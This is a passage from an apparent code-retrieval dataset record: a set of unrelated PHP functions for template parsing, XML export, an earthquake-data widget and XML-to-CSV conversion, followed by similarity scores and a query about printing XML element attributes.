$special_child_elements['languageParam']=array();\n\t\t\t\t\t\t$a=array_shift($special_child_elements['languageParam']);\n\t\t\t\t\t\t$b=array_shift($special_child_elements['languageParam']);\n\t\t\t\t\t\t$symbol_params=array();\n\t\t\t\t\t\tforeach ($special_child_elements['languageParam'] as $val)\n\t\t\t\t\t\t\t$symbol_params[]=$val->evaluate();\n\t\t\t\t\t\t$tempcode=do_lang_tempcode($child_tempcode->evaluate(),$a,$b,$symbol_params);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'symbol':\n\t\t\t\t\t\tif (!isset($special_child_elements['symbolParam'])) $special_child_elements['symbolParam']=array();\n\t\t\t\t\t\t$symbol_params=array();\n\t\t\t\t\t\tforeach ($special_child_elements['symbolParam'] as $val)\n\t\t\t\t\t\t\t$symbol_params[]=$val->evaluate();\n\t\t\t\t\t\t$tempcode=symbol_tempcode($child_tempcode->evaluate(),$symbol_params);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'hide_title':\n\t\t\t\t\tcase 'attachment_description':\n\t\t\t\t\tcase 'tooltip_message':\n\t\t\t\t\tcase 'list_element':\n\t\t\t\t\tcase 'show_concept':\n\t\t\t\t\tcase 'block_param':\n\t\t\t\t\tcase 'random_target':\n\t\t\t\t\tcase 'jumping_target':\n\t\t\t\t\tcase 'shocker_left':\n\t\t\t\t\tcase 'shocker_right':\n\t\t\t\t\tcase 'directive_param':\n\t\t\t\t\tcase 'language_param':\n\t\t\t\t\tcase 'symbol_param':\n\t\t\t\t\t\t$tempcode=make_string_tempcode(serialize(array($attributes,$child_tempcode)));\n\t\t\t\t\t\t$aggregate=false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'member':\n\t\t\t\t\t\t$username=$child_tempcode->evaluate();\n\t\t\t\t\t\t$username_info=((isset($attributes['boxed'])) && ($attributes['boxed']=='1'));\n\t\t\t\t\t\t$this_member_id=$GLOBALS['FORUM_DRIVER']->get_member_from_username($username);\n\t\t\t\t\t\tif (!is_null($this_member_id))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$poster_url=$GLOBALS['FORUM_DRIVER']->member_profile_url($this_member_id,false,true);\n\t\t\t\t\t\t\tif ((get_forum_type()=='ocf') && ($username_info))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\trequire_lang('ocf');\n\t\t\t\t\t\t\t\trequire_code('ocf_members2');\n\t\t\t\t\t\t\t\t$details=ocf_show_member_box($this_member_id);\n\t\t\t\t\t\t\t\t$tempcode=do_template('HYPERLINK_TOOLTIP',array('_GUID'=>'f7b65418616787b0f732c32486b63f4e','TOOLTIP'=>$details,'CAPTION'=>$username,'URL'=>$poster_url,'NEW_WINDOW'=>false));\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$tempcode=hyperlink($poster_url,$username);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'cedi':\n\t\t\t\t\t\t$cedi_page_name=$child_tempcode->evaluate();\n\t\t\t\t\t\tif (isset($attributes['anchor']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$jump_to=$attributes['anchor'];\n\t\t\t\t\t\t} else $jump_to='';\n\t\t\t\t\t\t$cedi_page_url=build_url(array('page'=>'cedi','type'=>'misc','find'=>$cedi_page_name),get_module_zone('cedi'));\n\t\t\t\t\t\tif ($jump_to!='')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$cedi_page_url->attach('#'.$jump_to);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=do_template('COMCODE_CEDI_LINK',array('_GUID'=>'770ac8741e9b0fc2697d1ee3d7ec3b38','URL'=>$cedi_page_url,'TEXT'=>$cedi_page_name));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'list':\n\t\t\t\t\t\tif (!isset($special_child_elements['listElement'])) $special_child_elements['listElement']=array();\n\t\t\t\t\t\t$my_list=array();\n\t\t\t\t\t\tforeach ($special_child_elements['listElement'] as $val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$my_list[]=$bits[1]->evaluate();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,$attributes,$my_list,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'concepts':\n\t\t\t\t\t\tif (!isset($special_child_elements['showConcept'])) $special_child_elements['showConcept']=array();\n\t\t\t\t\t\t$new_attributes=array();\n\t\t\t\t\t\tforeach ($special_child_elements['showConcept'] as $i=>$val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$new_attributes['key_'.strval($i)]=isset($bits[0]['key'])?$bits[0]['key']:'';\n\t\t\t\t\t\t\t$new_attributes['val_'.strval($i)]=isset($bits[0]['key'])?$bits[0]['value']:'';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,$new_attributes,$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'block':\n\t\t\t\t\t\tif (!isset($special_child_elements['blockParam'])) $special_child_elements['blockParam']=array();\n\t\t\t\t\t\t$new_attributes=array();\n\t\t\t\t\t\tforeach ($special_child_elements['blockParam'] as $i=>$val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$new_attributes[isset($bits[0]['key'])?$bits[0]['key']:'param']=isset($bits[0]['value'])?$bits[0]['value']:'';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,$new_attributes,$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'random':\n\t\t\t\t\t\tif (!isset($special_child_elements['randomTarget'])) $special_child_elements['randomTarget']=array();\n\t\t\t\t\t\t$new_attributes=array();\n\t\t\t\t\t\tforeach ($special_child_elements['randomTarget'] as $i=>$val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$new_attributes[isset($bits[0]['pickIfAbove'])?$bits[0]['pickIfAbove']:'0']=$bits[1];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,$new_attributes,$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'jumping':\n\t\t\t\t\t\tif (!isset($special_child_elements['jumpingTarget'])) $special_child_elements['jumpingTarget']=array();\n\t\t\t\t\t\t$new_attributes=array();\n\t\t\t\t\t\tforeach ($special_child_elements['jumpingTarget'] as $i=>$val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$new_attributes[strval($i)]=$bits[1];\n\t\t\t\t\t\t\tif (is_object($new_attributes[strval($i)])) $new_attributes[strval($i)]=$new_attributes[strval($i)]->evaluate();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,$new_attributes,$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'shocker':\n\t\t\t\t\t\tif (!isset($special_child_elements['shockerLeft'])) $special_child_elements['shockerLeft']=array();\n\t\t\t\t\t\t$new_attributes=array();\n\t\t\t\t\t\tforeach ($special_child_elements['shockerLeft'] as $i=>$val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$new_attributes['left_'.strval($i)]=$bits[1];\n\t\t\t\t\t\t\tif (is_object($new_attributes['left_'.strval($i)])) $new_attributes['left_'.strval($i)]=$new_attributes['left_'.strval($i)]->evaluate();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tforeach ($special_child_elements['shockerRight'] as $i=>$val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($val->evaluate());\n\t\t\t\t\t\t\t$new_attributes['right_'.strval($i)]=$bits[1];\n\t\t\t\t\t\t\tif (is_object($new_attributes['right_'.strval($i)])) $new_attributes['right_'.strval($i)]=$new_attributes['right_'.strval($i)]->evaluate();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,$new_attributes,$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'attachment':\n\t\t\t\t\t\t$description='';\n\t\t\t\t\t\tif (isset($special_child_elements['attachmentDescription']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($special_child_elements['attachmentDescription'][0]->evaluate());\n\t\t\t\t\t\t\t$title=is_object($bits[1])?$bits[1]->evaluate():$bits[1];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,array_merge($attributes,array('description'=>$description)),$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'hide':\n\t\t\t\t\t\t$title='';\n\t\t\t\t\t\tif (isset($special_child_elements['hideTitle']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($special_child_elements['hideTitle'][0]->evaluate());\n\t\t\t\t\t\t\t$title=is_object($bits[1])?$bits[1]->evaluate():$bits[1];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,array_merge($attributes,array('param'=>$title)),$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tooltip':\n\t\t\t\t\t\t$title='';\n\t\t\t\t\t\tif (isset($special_child_elements['tooltipMessage']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bits=unserialize($special_child_elements['tooltipMessage'][0]->evaluate());\n\t\t\t\t\t\t\t$title=is_object($bits[0])?$bits[0]->evaluate():$bits[0];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode=_do_tags_comcode($tag,array_merge($attributes,array('param'=>$title)),$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif (isset($VALID_COMCODE_TAGS[$tag]))\n\t\t\t{\n\t\t\t\t$tempcode=_do_tags_comcode($tag,$attributes,$child_tempcode,true,$this->pass_id,$this->marker,$this->source_member,true,$this->connection,$this->comcode,$this->wml,$this->structure_sweep,$this->semiparse_mode,NULL,$this->on_behalf_of_member);\n\t\t\t}\n\t\t\t// Else, it is simply unknown and hence skipped\n\t\t}\n\n\t\treturn array($tempcode,$aggregate);\n\t}", "function showWidgetGempaPlugin(){\n//Tulis skrip disini…..\n//echo '<p>Hello, saya adalah widget coba plugin…</p>';\n$url = \"http://data.bmkg.go.id/gempaterkini.xml\"; // from http://data.bmkg.go.id/ sesuaikan dengan lokasi yang diinginkan\n$sUrl = file_get_contents($url, False);\n$xml = simplexml_load_string($sUrl);\n// dibawah format untuk menampilkan data parse xml\necho \"<table style='width:100%, border:1px solid #999;'>\";\necho \"<tr>\";\n\techo \"<th colspan='2' scope='col'><a href='http://bmkg.go.id/BMKG_Pusat/Gempabumi_-_Tsunami/Gempabumi/Gempabumi_Terkini.bmkg' target='_blank'><h4>Peta Gempa Terkini</h4></a></th>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<th colspan='2' scope='col'><img style='width:100%' src='http://dataweb.bmkg.go.id/INATEWS/eqmap.gif' /><br/></th>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td width='70'>Tanggal</td>\";\n\techo \"<td width='110'> : \" .$xml->gempa->Tanggal. \"</b></td>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td>Jam</td>\";\n\techo \"<td> : \" .$xml->gempa->Jam. \"</b></td>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td>Lintang</td>\";\n\techo \"<td> : \" .$xml->gempa->Lintang. \"</b></td>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td>Bujur</td>\";\n\techo \"<td> : \" .$xml->gempa->Bujur. \"</b></td>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td>Magnitude</td>\";\n\techo \"<td> : \" .$xml->gempa->Magnitude. \"</b></td>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td>Kedalaman</td>\";\n\techo \"<td> : \" .$xml->gempa->Kedalaman. \"</b></td>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td colspan='2'><div align='center'>Wilayah : \" .$xml->gempa->Wilayah. \"</b></th>\";\necho \"</tr>\";\necho \"<tr>\";\n\techo \"<td colspan='2'><div align='center'>Koordinat : \" .$xml->gempa->point->coordinates. \"</b></th>\";\necho \"</tr>\";\necho \"</table>\";\n}", "public function reset_tableaux() {\n\t\treturn $this->setArbreMoniteurs ( array () )\n\t\t\t->setArbreGroupes ( array () )\n\t\t\t->setArbreMachines ( array () )\n\t\t\t->setDependance ( array () )\n\t\t\t->setGroupeNumbers ( array () );\n\t}", "function master_xml_export()\n\t{\n\t\t//-----------------------------------------\n\t\t// INIT\n\t\t//-----------------------------------------\n\n\t\t$entry = array();\n\n\t\t//-----------------------------------------\n\t\t// Get XML class\n\t\t//-----------------------------------------\n\n\t\trequire_once( KERNEL_PATH.'class_xml.php' );\n\n\t\t$xml = new class_xml();\n\n\t\t$xml->doc_type = $this->ipsclass->vars['gb_char_set'];\n\n\t\t$xml->xml_set_root( 'export', array( 'exported' => time() ) );\n\n\t\t//-----------------------------------------\n\t\t// Set group\n\t\t//-----------------------------------------\n\n\t\t$xml->xml_add_group( 'group' );\n\n\t\t//-----------------------------------------\n\t\t// Get templates...\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => 'groups',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'order' => 'g_id ASC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'limit' => array( 0, 6 ) ) );\n\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\twhile ( $r = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$content = array();\n\n\t\t\t$r['g_icon'] = '';\n\n\t\t\t//-----------------------------------------\n\t\t\t// Sort the fields...\n\t\t\t//-----------------------------------------\n\n\t\t\tforeach( $r as $k => $v )\n\t\t\t{\n\t\t\t\t$content[] = $xml->xml_build_simple_tag( $k, $v );\n\t\t\t}\n\n\t\t\t$entry[] = $xml->xml_build_entry( 'row', $content );\n\t\t}\n\n\t\t$xml->xml_add_entry_to_group( 'group', $entry );\n\n\t\t$xml->xml_format_document();\n\n\t\t$doc = $xml->xml_document;\n\n\t\t//-----------------------------------------\n\t\t// Print to browser\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->admin->show_download( $doc, 'groups.xml', '', 0 );\n\t}", "function end_tag() {\r\n\t\t$this->push_nodelist();\r\n\t\t\r\n\t}", "function end_el( &$output, $item, $depth = 0, $args = [], $id = 0 ) {\n\t\t$output .= '</li>';\n\t\treturn;\n\t}", "function printResults($us) \r\n{\r\n \theader('Content-type:text/xml;charset=\"utf-8\"');\r\n \t$xmlDoc = new MiniXMLDoc();\r\n \t$xmlRoot =& $xmlDoc->getRoot();\r\n \t$resultadosGenerales =& $xmlRoot->createChild('resultadosGenerales');\r\n\t$resultadosGenerales->attribute('resultado', 1); \r\n\t\r\n\t$op_tipo =& $resultadosGenerales->createChild('tipo');\r\n\t$op_tipo->text($us->getTipo());\r\n\t\r\n\t$op_usuario =& $resultadosGenerales->createChild('usuario');\r\n\t$op_usuario->text($us->getUsuario());\r\n\t\r\n\t$op_clave =& $resultadosGenerales->createChild('clave');\r\n\t$op_clave->text($us->getClave());\r\n\t\r\n\tprint html_entity_decode($xmlDoc->toString(MINIXML_NOWHITESPACES));\r\n}", "function prepareGridData($sql){\n $posStart = 0;\n \n $link = connectDatabase();\n\t\t$result = $link->query($sql);\n\t\t\n ob_clean();\n\t\theader(\"Content-type:text/xml\");\n\t\tprint(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\");\n\t\tprint(\"<rows total_count='\".$result->num_rows.\"' pos='\".$posStart.\"'>\");\n \n if ($result->num_rows > 0) {\n while($row = $result->fetch_row()) {\n print(\"<row id='\".$posStart.\"'>\");\n\n foreach ($row as $key => $value) {\n print(\"<cell><![CDATA[\");\n print($value);\n print(\"]]></cell>\");\n }\n\n print(\"</row>\");\n $posStart++;\n \n }\n } \n print(\"</rows>\");\n\t}" ]
[ "0.68557155", "0.6206027", "0.61460656", "0.59440696", "0.5769052", "0.57578874", "0.56679285", "0.565894", "0.5651716", "0.5623863", "0.5553963", "0.55262154", "0.5523353", "0.55115074", "0.5509418", "0.55032015", "0.5486776", "0.54853266", "0.54846513", "0.5452634", "0.5448094", "0.53950095", "0.5379599", "0.53666234", "0.53567564", "0.53515685", "0.534013", "0.5333372", "0.5330771", "0.5317707", "0.5313712", "0.5296791", "0.5290435", "0.52776045", "0.526916", "0.52412087", "0.5237537", "0.52162385", "0.5210059", "0.5208903", "0.5169123", "0.51637447", "0.5162024", "0.51575226", "0.51507646", "0.5135673", "0.5133022", "0.5128939", "0.5127105", "0.5120498", "0.51198304", "0.51176786", "0.51149005", "0.5111757", "0.5109701", "0.5105581", "0.50907385", "0.50831", "0.5081905", "0.50688994", "0.5056003", "0.5054303", "0.504862", "0.50444114", "0.5036426", "0.5035527", "0.50343955", "0.50306886", "0.50137687", "0.50129336", "0.5010559", "0.5004885", "0.49970728", "0.49948508", "0.49940142", "0.49939793", "0.49795827", "0.49771276", "0.4975434", "0.4973115", "0.49637282", "0.49605793", "0.49604225", "0.49518958", "0.4951741", "0.49463508", "0.4945567", "0.49323776", "0.49308562", "0.49292243", "0.49290127", "0.4923137", "0.49216717", "0.49081784", "0.49042025", "0.49009392", "0.48970503", "0.4894057", "0.4893081", "0.4892509" ]
0.6180034
2
/ Element can have data in just it's attributes as headers for csv element string as attribute=>value pairs in it's attributes and children as csv in it's childrens attributes as children element strings Algorithm If element has attributes print them Simple XML Reference
function createFileInterface($filePath) { //$sxe=simplexml_load_file( $filePath );//Default file type if (file_exists($filePath)) { $xml = simplexml_load_file($filePath); createSaveForm($filePath); dispFile( $xml); } else { exit('Failed to open' . $filePath); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function _print_xml()\n\t{\n\t\n\t}", "function printAttributes( $element )\n{\n $NCardinalityDictionary = array(\"Species\",\"Phase\",\"Factor\",\"Cultivar\",\"PhotSynType\",\"Point\",\n\t\t\t\t\t\t\t\t\t\t\"Crop_Par\",\"Fert_Par\",\"Irr_Par\",\"Residue_Par\",\"Till_Par\",\n\t\t\t\t\t\t\t\t\t\t\"C)2_Trend_XY\",\"Soil_Bio_Kinectic_Par\",\"Stations\",\n\t\t\t\t\t\t\t\t\t\t\"Storm_Intensity\",\"Hourly_Rainfall\",\"Soil\",\"Layer\",\n\t\t\t\t\t\t\t\t\t\t\"Experiment\",\"Rotation_Components\",\"Component\",\n\t\t\t\t\t\t\t\t\t\t\"Mgt_Chemical_App\",\"Mgt_EncMod_App\",\"Mgt_Harvest_App\",\n\t\t\t\t\t\t\t\t\t\t\"Mgt_Tillage_App\",\"Mgt_Fertilizer_App\",\"Mgt_Residu_App\",\n\t\t\t\t\t\t\t\t\t\t\"Mgt_Irrigation_App\");\n $name = $element->getName();\n //echo \"<table class='attributeTable' type='attributeTable' name='$name' border=1><tr>\";\n\techo \"<div class='attributes'>\";\n\t//If version make readonly\n\tif( $name == \"Version\")\n\t{\n\t\tforeach($element->attributes() as $a => $b)\n\t\t{\n\t\t\techo \"<div class='attribute' id='$a'><b>$a</b><br /><input type='text' value='$b' readonly></input></div>\";\n \t}\n\t}\n\telse \n\t{\n\t\tif( in_array($name,$NCardinalityDictionary) )\n\t\t{\n\t\t\techo \"<button onClick='newTab( $(this).parent() )'>New \" . $name . \"</button>\";\n\t\t\techo \"<button onClick='clearValues( $(this).parent() )'>Clear Values</button><br />\";\n\t\t}\n\t\tforeach($element->attributes() as $a => $b)\n\t\t{\n\t\t\techo \"<div class='attribute' id='$a'><b>$a</b><br /><input type='text' value='$b'></input></div>\";\n\t\t}\n\t}\n\techo \"</div><br />\";\n}", "function ElementTabToXML($nameLineElement,$lineElement,$xmlSolution,$solutionElementXML):bool{\n //TODO LABEL IN OUTPUT union label part ect\n //print_r($nameLineElement);\n if($lineElement == \"[]\"){\n return false;\n }\n if($nameLineElement == \"group\"){\n $elementSub = $xmlSolution->createElement(\"class\");\n foreach(transformDznToArray($lineElement) as $element){\n $subSubElement = $xmlSolution->createElement(\"group\");\n ElementStringToXML(\"refId\",$element,$xmlSolution,$subSubElement);\n $elementSub->appendChild($subSubElement);\n }\n $solutionElementXML->appendChild($elementSub);\n }\n elseif(in_array($nameLineElement,[\"rooms\",\"teachers\"])){\n\n $elementSub = $xmlSolution->createElement(\"choose\".ucfirst($nameLineElement));\n foreach(transformDznToArray($lineElement) as $element){\n $subSubElement = $xmlSolution->createElement(substr($nameLineElement,0,-1));\n ElementStringToXML(\"refId\",$element,$xmlSolution,$subSubElement);\n $elementSub->appendChild($subSubElement);\n }\n $solutionElementXML->appendChild($elementSub);\n\n }\n elseif($nameLineElement==\"equipements\"){\n\n }\n elseif($nameLineElement==\"slot\"){\n $elementSub = $xmlSolution->createElement(\"schedule\");\n\n $tabResult = transformDznToArray($lineElement);\n $subSubElement1 = $xmlSolution->createAttribute(\"slot\");\n $subSubElement1->value = cleanString($tabResult[0]);\n $subSubElement2 = $xmlSolution->createAttribute(\"sessionLength\");\n $subSubElement2->value = cleanString($tabResult[1]);\n\n $elementSub->appendChild($subSubElement1);\n $elementSub->appendChild($subSubElement2);\n \n $solutionElementXML->appendChild($elementSub);\n\n }\n else{exit (\"ERROR FIELD DON'T EXIST\");}\n return true;\n\n}", "public function generatePrettyXml() {\n $xml = new SimpleXMLElement(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" ?>\\n<record></record>\");\n $leader = $this->addAndGetChild($xml, 'leader');\n $leader->addAttribute('length', 24);\n foreach ($this->leader as $values) {\n $position = $this->addAndGetChild($leader, 'position');\n foreach ($values as $name => $value) {\n if (!is_array($value)) {\n $position->addAttribute($name, $value);\n } else {\n foreach ($value as $key => $disp) {\n if ('' === trim($key)) {\n continue;\n }\n $option = $this->addAndGetChild($position, 'option');\n $option->addAttribute('value', trim($key));\n $option->addAttribute('name', trim($this->formateStr($disp)));\n }\n }\n }\n }\n // remove links\n unset($option);\n unset($position);\n\n $fields = $this->addAndGetChild($xml, 'fields');\n $controlFileds = $this->addAndGetChild($fields, 'controlfields');\n $dataFileds = $this->addAndGetChild($fields, 'datafields');\n $linkedFileds = $this->addAndGetChild($fields, 'linkedfields');\n\n foreach ($this->fields as $struct_field) {\n\n if ('4' === substr($struct_field['tag'], 0, 1)) {\n $field = $this->addAndGetChild($linkedFileds, 'field');\n } elseif (0 === sizeof($struct_field['indicators'])) {\n $field = $this->addAndGetChild($controlFileds, 'field');\n } else {\n $field = $this->addAndGetChild($dataFileds, 'field');\n }\n\n $field->addAttribute('tag', $struct_field['tag']);\n $field->addAttribute('mandatory', ($struct_field['mandatory'] == 'y') ? 1 : 0);\n $field->addAttribute('repeatable', ($struct_field['repeatable'] == 'y') ? 1 : 0);\n $field->addAttribute('name', $this->formateStr($struct_field['name']));\n\n if (sizeof($struct_field['indicators'])) {\n $field->addChild('indicators');\n foreach ($struct_field['indicators'] as $num => $values) {\n $ind = $this->addAndGetChild($field->indicators, 'ind' . $num);\n\n foreach ($values as $key => $value) {\n if ('' === trim($key)) {\n continue;\n }\n\n if (strpos($value, ' :: ')) {\n list($name, $value) = explode(' :: ', $value);\n $ind->addAttribute('name', $this->formateStr($name));\n } else {\n if (substr($value, 0, 1) !== '#') {\n $ind->addAttribute('name', $this->formateStr($value));\n }\n }\n\n $opt = $this->addAndGetChild($ind, 'option');\n $opt->addAttribute('value', trim($key));\n $opt->addAttribute('name', $this->formateStr($value));\n }\n }\n }\n\n if (sizeof($struct_field['subfields'])) {\n $subfields = $this->addAndGetChild($field, 'subfields');\n foreach ($struct_field['subfields'] as $code => $subfield_struct) {\n $subfield = $this->addAndGetChild($subfields, 'subfield');\n $subfield->addAttribute('code', $code);\n $subfield->addAttribute('repeatable', ($subfield_struct['repeatable'] == 'y') ? 1 : 0);\n $subfield->addAttribute('mandatory', ($subfield_struct['mandatory'] == 'y') ? 1 : 0);\n\n if (sizeof($subfield_struct['psubfield'])) {\n $len = 0;\n foreach ($subfield_struct['psubfield'] as $pos) {\n $len = ($len > $pos['end'] + 1) ? $len : $pos['end'] + 1;\n $position = $this->addAndGetChild($subfield, 'position');\n $position->addAttribute('start', $pos['start']);\n $position->addAttribute('length', $pos['end'] - $pos['start'] + 1);\n $position->addAttribute('mandatory', ($pos['mandatory'] == 'y') ? 1 : 0);\n $position->addAttribute('repeat', $pos['repetitions']);\n $position->addAttribute('name', $this->formateStr($pos['name']));\n if (sizeof($pos['vocabulary'])) {\n foreach ($pos['vocabulary'] as $key => $name) {\n if ('' === trim($key)) {\n continue;\n }\n $option = $this->addAndGetChild($position, 'option');\n $option->addAttribute('value', trim($key));\n $option->addAttribute('name', $this->formateStr($name));\n }\n }\n }\n $subfield->addAttribute('length', $len);\n }\n\n $subfield->addAttribute('name', $this->formateStr($subfield_struct['name']));\n }\n }\n\n }\n\n return $xml;\n }", "public static function xmlToCSV(string $text){\n\t\tlibxml_use_internal_errors(true);\n\t\t// Evaluate all HTML entities\n\t\t$string = html_entity_decode($text, ENT_QUOTES, \"utf-8\");\n\t\t// Setting up the iteration of <TOUR> nodes\n\t\t$iterator = new SimpleXmlIterator($string, null);\n\t\t// Validating the XML\n\t\tif(empty(libxml_get_errors())){\n\t\t\t// Store tours <TOUR> in $tours\n\t\t\t$tours = $iterator->children();\n\t\t\t// Check if there are tours\n\t\t\tif(!empty($tours)){\n\t\t\t\t// Setting up the csv Headers\n\t\t\t\t// Removing DEP from headers\n\t\t\t\t$csv_headers = array_diff(array_keys((array)$tours[0]), ['DEP']);\n\t\t\t\t// Replacing DEP with MinPrice\n\t\t\t\t$csv_headers[] = \"MinPrice\";\n\t\t\t\t// Create header: col1|col2|col3...\n\t\t\t\t$output_csv = implode(\"|\", $csv_headers);\n\t\t\t\t// Loop trough each tour\n\t\t\t\tforeach($tours as $tour) {\n\t\t\t\t\t// The content of the csv Body\n\t\t\t\t\t$csv_tour_content = [];\n\t\t\t\t\t// Setting default value for minPrice\n\t\t\t\t\t$minPrice = 0;\n\t\t\t\t\t// loop trough tour params\n\t\t\t\t\tforeach($tour as $param) {\n\t\t\t\t\t\tif($param->getName() === 'DEP'){\n\t\t\t\t\t\t\t// Handling the DEP parameters here\n\t\t\t\t\t\t\t// Calculate the MinPrice using the DEP attributes\n\t\t\t\t\t\t\t//$price = (float)$param->attributes()['EUR']->__toString();\n\t\t\t\t\t\t\t$price = isset($param->attributes()['EUR']) ? (float)$param->attributes()['EUR']->__toString() : 0;\n\t\t\t\t\t\t\t// Check if the discount attribute exists or not. If not, the value will be 0\n\t\t\t\t\t\t\t// casting (float) on a string like: 15% will remove the % character and turn 15 to float\n\t\t\t\t\t\t\t$discount = $param->attributes()['DISCOUNT'] !== null ? (float)$param->attributes()['DISCOUNT']->__toString() : 0;\n\t\t\t\t\t\t\t// Modify the price if the $discount is higher than it's default value (meaning it's set)\n\t\t\t\t\t\t\tif($discount > 0) $price = $price * ((100 - $discount) / 100);\n\t\t\t\t\t\t\tif($minPrice === 0){\n\t\t\t\t\t\t\t\t// $minPrice is 0 by default. This will set this value in the first iteration step\n\t\t\t\t\t\t\t\t$minPrice = $price;\n\t\t\t\t\t\t\t} else if(($minPrice - $price) > 0){\n\t\t\t\t\t\t\t\t// If the calculated price of the current DEP field is lower than the $minPrice, update it here\n\t\t\t\t\t\t\t\t$minPrice = $price;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t * Handling the regular tags (like: Title) here.\n\t\t\t\t\t\t\t * trim() removes the whitespaces and &nbsp;'s from the value\n\t\t\t\t\t\t\t * 